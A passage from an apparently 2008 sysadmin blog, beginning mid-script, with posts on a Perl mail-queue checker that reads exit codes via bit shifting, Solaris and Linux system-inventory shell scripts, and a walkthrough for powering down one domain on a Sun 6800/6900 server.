print OUTPUT "<FONT COLOR=\"FFFF00\">$part</FONT>\n";
print OUTPUT "<br>\n";

foreach $pretty (@package) {
if ( $pretty =~ /^#/ ) {
next;
} else {
@picture = split(/ /, $pretty);
$frame = join(" ", @picture);
chomp $frame;
print OUTPUT "$frame<br>\n";
}
}
print OUTPUT "<br><hr><br>\n";
}
close(OUTPUT);


, Mike




Monday, February 11, 2008

Bit Shifting In Perl To Get Errno Values From The System Function

Hey there,

My two main reasons for putting together this little Perl script are:

1. To account for the unlikely event when mail queue monitoring commands don't work correctly, or you suspect that your system is so munged up that your OS commands aren't giving you correct information. Most Linux and Unix setups are far more robust than Windows, etc, and can take a severe beating before they go overboard. But, just like anything else, if pushed way too hard, they'll all eventually crack. Common symptoms of a total meltdown include obviously incorrect memory, swap and cpu statistics.

2. To demonstrate how to get back the actual errno result from a system command in Perl without using backticks.

This Perl script can, basically, be used on any directory and I set it up so that it takes a directory name as its only argument (so that it will work with any mail software no matter where it keeps its mail queue). You can call it simply, like this:

host # ./mailkue.sh /var/spool/clientmqueue <--- Substitute your mail queue location

We're making use of Perl's stat() and localtime() functions to parse a time-sorted directory listing. This should help you determine if there really are tons of old expired emails in your mail queue that you may or may not want to delete.

Also, probably more notably, we're using Perl's bit shift operator to extract the correct errno value from the system function. Normally, the system function only returns a scalar value indicating whether or not it executed the subshell sucessfully. If you run a program within the system function, like so:

host # $return = system("touch a");

The return value from that system command would be the numerical value of the success or failure of system's ability to invoke the shell.

If you did the same thing with backticks, your return value would be the output from that command. So you could do something as easy as this to get the real errno value:

host # $return = `touch a;echo $?`;

If you're not interested in the output, as we're clearly not in the above examples, but just want the proper return value from the command executed by the system function (as opposed to the return value of the system function... getting confusing and convoluted, here ;), you can get that by changing the above example, like so:

host # system("touch a");
host # $return = $? >> 8


And you'll know whether or not your touch was successful, not just if the system function worked. And it's guaranteed to work on Linux, Unix or any *nix system that Perl will run on.

Of course, backticks are generally simpler to use, but, under certain circumstances the above trick can come in very handy. Here's hoping it helps you out with your Perl scripting in the future!

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# mailkue.sh - check your mail
# queue - or anywhere else :)
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#ARGV < 0 ) {
print "Usage: $0 directory\n";
exit(1);
}

%months = qw(0 Jan 1 Feb 2 Mar 3 Apr 4 May 5 Jun 6 Jul 7 Aug 8 Sep 9 Oct 10 Nov 11 Dec);
chdir $ARGV[0];
system("ls -t >/dev/null 2>&1");
$status = $? >> 8;
if ( ! $status ) {
@nfiles = `ls -t`;
foreach $nfile (@nfiles) {
chomp($nfile);
$count = 1;
print "FILE: $nfile\n";
@files = `/usr/bin/find $ARGV[0]/$nfile -print|xargs -I {} ls -d1 "{}"`;
foreach $file (@files) {
chomp($file);
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$atime,$mtime,$ctime,$blksize,$blocks) = stat($file);
($csec,$cmin,$chour,$cmday,$cmon,$cyear,$cwday,$cyday,$cisdst) = localtime($mtime);
$year = $cyear + 1900;
printf("%-2d: %-45s\t%10d %-3s %2d, %-4d\n", $count, $file, $size, $months{$cmon}, $cmday, $year);
$count++;
}
}
} else {
print "No mail in queue\n";
}


, Mike




Friday, February 1, 2008

Solaris Shell Script To Gather Basic System Info

Wrapping up this work week, it occured to me that I'd spent all my time on Linux and none on Unix (A bad thing? Judgement call ;)

In any event, I thought it would be somewhat equalizing if I put together one of my basic shell scripts, specifically for Solaris, that you can be run on any Unix system (although you'll need root privilege to ensure that all of these commands give you the information you want) and print up a nicely formatted listing of system information.

When run in an SSH shell loop, it can be a quick and tidy way to put together a system inventory to keep the big dogs happy ;) You can run it simply by calling it on the system you're running it on, like so:

./solinfo.sh

Cheers; enjoy your weekend :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# solinfo.sh
#
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

echo "hostname: \c"
/usr/bin/hostname
echo

echo "model: \c"
/usr/bin/uname -mi
echo

echo "cpu count: \c"
/usr/bin/dmesg|grep cpu|sed 's/.*\(cpu.*\)/\1/'|awk -F: '{print $1}'|sort -u|wc -l
echo

echo "disks online: \c"
echo "^D"|format 2>/dev/null|grep ".\. "|wc -l
echo

echo "disk types:"
echo
echo "^D"|format 2>/dev/null|grep ".\. "
echo

echo "dns name and aliases:"
echo
nslookup `hostname`|grep Name;nslookup `hostname`|sed -n '/Alias/,$p'
echo

echo "Interfaces:"
echo
netstat -in|grep -v Name|grep -v lo0|awk '{print "Name: " $1 " : IP: " $4}'
echo

echo "Access Restrictions:"
echo
if [ -f /etc/hosts.allow ]
then
cat /etc/hosts.allow
else
echo "No host based access restrictions in place"
fi
echo
echo "OS Release: \c"
uname -r


, Mike




Thursday, January 31, 2008

Linux Shell Script To Gather Basic System Info

Today, I thought we'd go for some lighter fare, so I put together another one of my simple shell scripts, specifically for Linux, that you can run on any system (although you do need some elevated privilege to get the correct information for a few of the commands) and print up a nicely formatted listing of system information (I tried to pick the stuff superiors tend to want to know).

If you run this in an SSH shell loop, it might just be a handy way to slap together a little system inventory to pacify the big guys ;) You can run it simply by calling it on the system you're running it on, like so:

./sysinfo.sh

Anyway, enjoy and best wishes. The work week is almost over :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# sysinfo.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

echo -n "hostname: "
/bin/hostname
echo

echo -n "model: "
/bin/uname -pm
echo

echo -n "cpu count: "
/bin/dmesg|grep CPU|awk -F: '{print $1}'|sort -u|wc -l
echo

echo -n "disks online: "
fdisk -l|awk '{print $1}'|grep \/dev\/|sed 's/[1234567890]//'|sort -u|wc -l
echo

echo "disk types:"
echo
fdisk -l|awk '{print $1}'|grep \/dev\/|sed 's/[1234567890]//'|sed 's/\/dev\///'|sort -u|xargs -iboink grep "^boink" /var/log/dmesg
echo

echo "dns name and aliases:"
echo
nslookup `hostname`|grep Name;nslookup `hostname`|sed -n '/Alias/,$p'
echo

echo "Interfaces:"
echo
netstat -in|grep -v Kernel|grep -v Iface|grep -v lo|awk '{print $1}'|xargs -iboink cat /etc/sysconfig/network-scripts/ifcfg-boink|sed -n 1,2p
echo

echo "Access Restrictions:"
echo
if [ -f /etc/hosts.allow ]
then
cat /etc/hosts.allow
else
echo "No host based access restrictions in place"
fi
echo
echo -n "OS Release: "
uname -r


, Mike




Saturday, December 15, 2007

Shutting Down Domains on Sun 6800/6900 Servers

Here's a little information that comes in handy every once in a while. As you get used to working with Sun's larger machines, the convenience of some of the more advanced features becomes almost trivial. It's common (at least for me) to forget, from time to time, that ServerA and ServerB actually reside on the same physical server (Server1, for example).

That's one thing you get reminded of very quickly when, say, ServerB has a hardware related problem and you need to fix it. When you're dealing with DataCenter class machines, you generally don't want to make a mistake and accidentally pull a card that belongs to ServerA in your attempts to fix ServerB. The headache-multiplication theory is taken for granted, not to mention that company's generally throw lots of money at humongous hardware so they can house systems of "greater importance" on them. ServerA and ServerB, almost literally, translate into lost-revenue when they go down. When you're stuck in this sort of situation, taking your time and doing things right (even if you need to take a gut-punch and "read the manual" ;) is always more important than trying to blast your way through it and hoping for the best.

Luckily, when you're dealing with the 6800/6900 server series from Sun, dealing with domains and working on a "single" machine on a multi-domain system is pretty simple as long as you take the necessary precautions (never be embarrased to type "help"). Also, just so I can start typing 6800 instead of 6800/6900 from now on; the only real difference between the two is the internal architecture. The 6800's are SCSI-based, while the 6900's are fiber. You'll note that this is the difference with almost all of Sun's server series that relate closely (the v480 and v490, or the v880 and v890 - All of them are just slightly different). The 900's and 90's were released because internal fiber disk is much faster than internal scsi-connected disk. To keep it simple ;)

As a for instance, let's say that ServerB is suffering terrible failures (even Sun can't readily explain them). A number of HBA's on the I/O boards have failed and there's a problem with one of the System Boards. Also, your root mirror disk is giving off errors left and right. This is a potentially horrible scenario for which no resolution will be given. We're just using it to make it so we can walk through the process of bringing ServerB down completely and replacing parts.

The first thing you'll want to do is to connect to the System Controller. This can be done any number of ways. Your site should have documentation related to how they've set it up. Generally it will be an SSH or Telnet connection to the SC. You can also set up direct connects for the Domain Consoles, but, even when we have them, I prefer to connect to the SC, as you can get to all of the Domain Consoles from there, as well as the "Platform Shell"! Assuming you've connected, you'll be at a terminal screen that looks something like this.

System Controller 'Server1':

Type 0 for Platform Shell

Type 1 for domain A console
Type 2 for domain B console
Type 3 for domain C console
Type 4 for domain D console


Since this is also very specific to how your machine was set up, we'll go with the assumption that ServerA is on the "Domain A" console and ServerB is on the "Domain B" console. Since we want to work on ServerB, and leave ServerA up and running while we do, we'll type in the following (This may seem counter-intuitive at first, but the fact that I'm logging into the "Platform Shell" rather than the "Domain B" console can offer some enhanced control (when you get around to playing with it) and allows you to connect to any domain directly from it):

Input: 0

Platform Shell

Server1:SC>


Now we're at the SC prompt, at the Platform Shell level -- Remember, at almost any point along the way you can type "help" to get a list of all available commands. When you get a chance, do so, and you'll see what I mean about the enhanced flexibility that starting off at the Platform Shell offers. To continue, we'll connect directly to the "Domain B" console, which is just like logging into a regular machine serial console:

Server1:SC> console b

Connected to Domain B

ServerB console login: root
Password: ******


And, just like on any other machine, we'll bring it down to an ok> prompt as if it weren't a part of a larger physical organism (Server1 - the big 6800)

ServerB# init 0

You'll get the regular system messages and whatever else gets spit to the screen when you normally shut down, and you're there. Now, we'll want to switch from the "Domain Console" to the "Domain Shell." We can do that like so:

{c} ok

<---------- Here type a literal [ctl]+] (the control key and the right bracket (]) simultaneously) - this will get you to a Telnet or SSH prompt - depending on your setup. Then, you'll send a "break" signal to make the switch from Console to Shell.

telnet> send break

Domain Shell for Domain B - ServerB

ServerB:B> setkeyswitch off
<-- This command is the one that will "turn off" ServerB. Note that, if you've looked at the "help" output, you don't want to run "poweroff" - That could seriously ruin your day ;) The "poweroff" command is used for powering off the physical grids. Generally, on a two domain 6800, you'll only have one, so running "poweroff" might bring down both ServerB and ServerA. Sun only requires you to split your 6800 into 2 grids if you want to have 3 or 4 domains!

Powering boards off ...
ServerB:B>


Now your "virtual" server (ServerB) is off, and ServerA is still up and running as if nothing were going on. You're ready to begin replacing parts.

As a quick note; before you completely disconnect from the "Domain Shell," I always find it's good practice to run the following comand:

ServerB:B> showboards

Slot Pwr Component Type State Status Domain
---- --- -------------- ----- ------ ------
/N0/SB1 Off CPU Board Assigned Not tested B
/N0/SB2 Off CPU Board Assigned Not tested B
/N0/SB3 Off CPU Board Assigned Not tested B
/N0/IB7 Off PCI I/O Board Assigned Not tested B
/N0/IB9 Off PCI I/O Board Assigned Not tested B


Write down the left-most column (Slot) and glance over the entries to make sure that they're all in the correct Domain (B, here) and that the "Pwr" (power) column lists them all as off. This will help make doubly sure you don't accidentally affect ServerA, as the CPU Board and I/O Board numbers are listed on the outsides of the devices and, if you've written this information down, you can refer to it and easily locate what part of the system you can safely work with.

And, of course (very quickly) for those of you who want to know how to get everything back up and running, just do the following (A very quick summary of commands and output here, as the concepts are all the same, but done in a logical reverse order; with the exception of the rarely needed "resume" command noted below)

System Controller 'Server1':

Type 0 for "Platform Shell"

Type 1 for domain A console
Type 2 for domain B console
Type 3 for domain C console
Type 4 for domain D console

Input: 0

Platform Shell

Server1:SC>

Server1:SC> console b

Connected to Domain B


<---------- Here type a literal [ctl]+ ]

telnet> send break

Domain Shell for Domain B - ServerB

ServerB:B> setkeyswitch on
Powering boards on ...
ServerB:B>resume
<--- Note that this command and the following are not usually necessary. Once you power on your system by doing the "setkeyswitch on," the 6800 will run through extensive system tests and boot the OS directly.

ok> boot

Hopefully the amount of time spent reading this will save you much much more in the future :)

Cheers,

, Mike